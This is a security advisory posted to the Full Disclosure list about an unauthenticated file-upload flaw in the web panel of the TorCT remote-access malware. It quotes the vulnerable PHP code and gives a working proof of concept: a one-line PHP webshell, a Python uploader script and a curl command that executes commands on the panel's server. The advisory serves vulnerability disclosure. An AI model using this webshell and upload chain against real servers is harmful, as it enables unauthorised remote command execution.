full-disclosure - [FD] BuilderTorCTPHPRAT.b / Arbitrary File Upload

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Message-ID: <CAAHK0WTbi6cPvrY6G1TWH6PfT55vboORGqmmU1R68yUbawGByg@mail.gmail.com>
Date: Thu, 17 Mar 2022 13:06:28 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] BuilderTorCTPHPRAT.b / Arbitrary File Upload - RCE

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/838f67d7a4b6824ec59892057aab3bb7_B.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: BuilderTorCTPHPRAT.b
Vulnerability: Arbitrary File Upload - RCE
Family: TorCTPHPRAT
Type: WebUI
MD5: 838f67d7a4b6824ec59892057aab3bb7 (Webremote TorCT Client.exe)
MD5: b54822058a3ed33c673d06113b453ebe (upload.php)
Vuln ID: MVID-2022-0519
Disclosure: 03/17/2022
Description: The TorCT client malwares web-panel allows unauthenticated
uploads and does not check the expected file type E.g. ".png". Third-party
attackers who can reach the server can upload their own backdoor PHP
webshell and execute any commands on the malwares C2 server.

"upload.php" vulnerable code:

$DelOrNot = $_GET['D'];

if ($DelOrNot == "true")
{

unlink('Upload/1.png');
unlink('Upload/2.png');
}else{

$uploadDir = 'Upload/';
$uploadFile = $uploadDir . basename($_FILES['file']['name']);
if (is_uploaded_file($_FILES['file']['tmp_name']))
{
    echo "File ". $_FILES['file']['name'] ." is successfully uploaded!\r\n";
    if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile))
    {
        echo "File is successfully stored! ";
    }
    else print_r($_FILES);
}
else
{
    echo "Upload Failed!";
    print_r($_FILES);
}
}

Exploit/PoC:
1) Create PHP webshell "pwn.php",  exec($_GET['cmd']);

2) Create Python uploader "torct_webshell.py"
import requests

url="
http://TORCT_PHP_RAT_SERVER/BuilderTorCTPHPRAT.b/New_TorCT_6_22_1_6/UPLOAD%20%20(New%20PHP%20FILES)/upload.php
"

files = {'file': open('pwn.php', 'rb')}
r = requests.post(url, files=files)
if r.status_code==200:
    print(r.status_code)
    print("TorCTPHPRAT PWNED!")

3) Exploit
curl "
http://127.0.0.1/BuilderTorCTPHPRAT.b/New_TorCT_6_22_1_6/UPLOAD%20%20(New%20PHP%20FILES)/upload/pwn.php?cmd=calc.exe
"

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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